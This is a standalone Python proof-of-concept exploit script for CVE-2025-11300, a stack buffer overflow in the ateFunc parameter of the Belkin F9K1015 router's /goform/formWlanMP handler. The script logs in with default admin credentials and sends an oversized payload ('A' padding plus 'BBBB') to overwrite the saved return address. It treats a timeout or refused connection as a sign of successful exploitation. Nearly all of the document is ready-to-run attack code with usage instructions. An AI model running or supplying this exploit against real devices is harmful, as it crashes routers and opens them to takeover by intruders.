CVE-2025-11300

#!/usr/bin/env python3 # CVE-2025-11300 - Belkin F9K1015 formWlanMP Buffer Overflow PoC # Vulnerability: Stack-based buffer overflow via ateFunc parameter # Author: Security Researcher import requests import sys from urllib3.exceptions import InsecureRequestWarning # Disable SSL warnings requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) def exploit(target_ip, port=80, username="admin", password=""): """ Exploit CVE-2025-11300 - Buffer overflow in /goform/formWlanMP via manipulation of ateFunc parameter on Belkin F9K1015 v1.00.10 """ target_url = f"http://{target_ip}:{port}/goform/formWlanMP" # Build session for authentication session = requests.Session() session.verify = False # Step 1: Authenticate to the router management interface login_url = f"http://{target_ip}:{port}/login.cgi" login_data = { "username": username, "password": password } try: session.post(login_url, data=login_data, timeout=10) except Exception as e: print(f"[INFO] Login attempt: {e}") # Step 2: Craft the malicious payload for ateFunc parameter # The buffer overflow is triggered by an oversized ateFunc value # Pattern: padding + controlled data to overwrite return address padding = "A" * 256 # Overflow buffer with excessive data payload = padding + "BBBB" # Overwrite saved return address # Step 3: Send the exploit request to /goform/formWlanMP exploit_params = { "ateFunc": payload } print(f"[*] Target: {target_url}") print(f"[*] Sending buffer overflow payload via ateFunc parameter...") print(f"[*] Payload length: {len(payload)} bytes") try: response = session.post( target_url, data=exploit_params, timeout=10 ) print(f"[*] Response status: {response.status_code}") print(f"[*] Response length: {len(response.content)} bytes") if response.status_code == 500 or "error" in response.text.lower(): print("[+] Target may be vulnerable - server error detected") else: print("[*] Request completed") except requests.exceptions.Timeout: print("[+] Target appears to have crashed - possible successful exploitation") except requests.exceptions.ConnectionError: print("[+] Connection refused - target may have crashed") except Exception as e: print(f"[*] Exception occurred: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port] [username] [password]") print(f"Example: {sys.argv[0]} 192.168.2.1 80 admin password") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 user = sys.argv[3] if len(sys.argv) > 3 else "admin" pwd = sys.argv[4] if len(sys.argv) > 4 else "" exploit(target, port, user, pwd)

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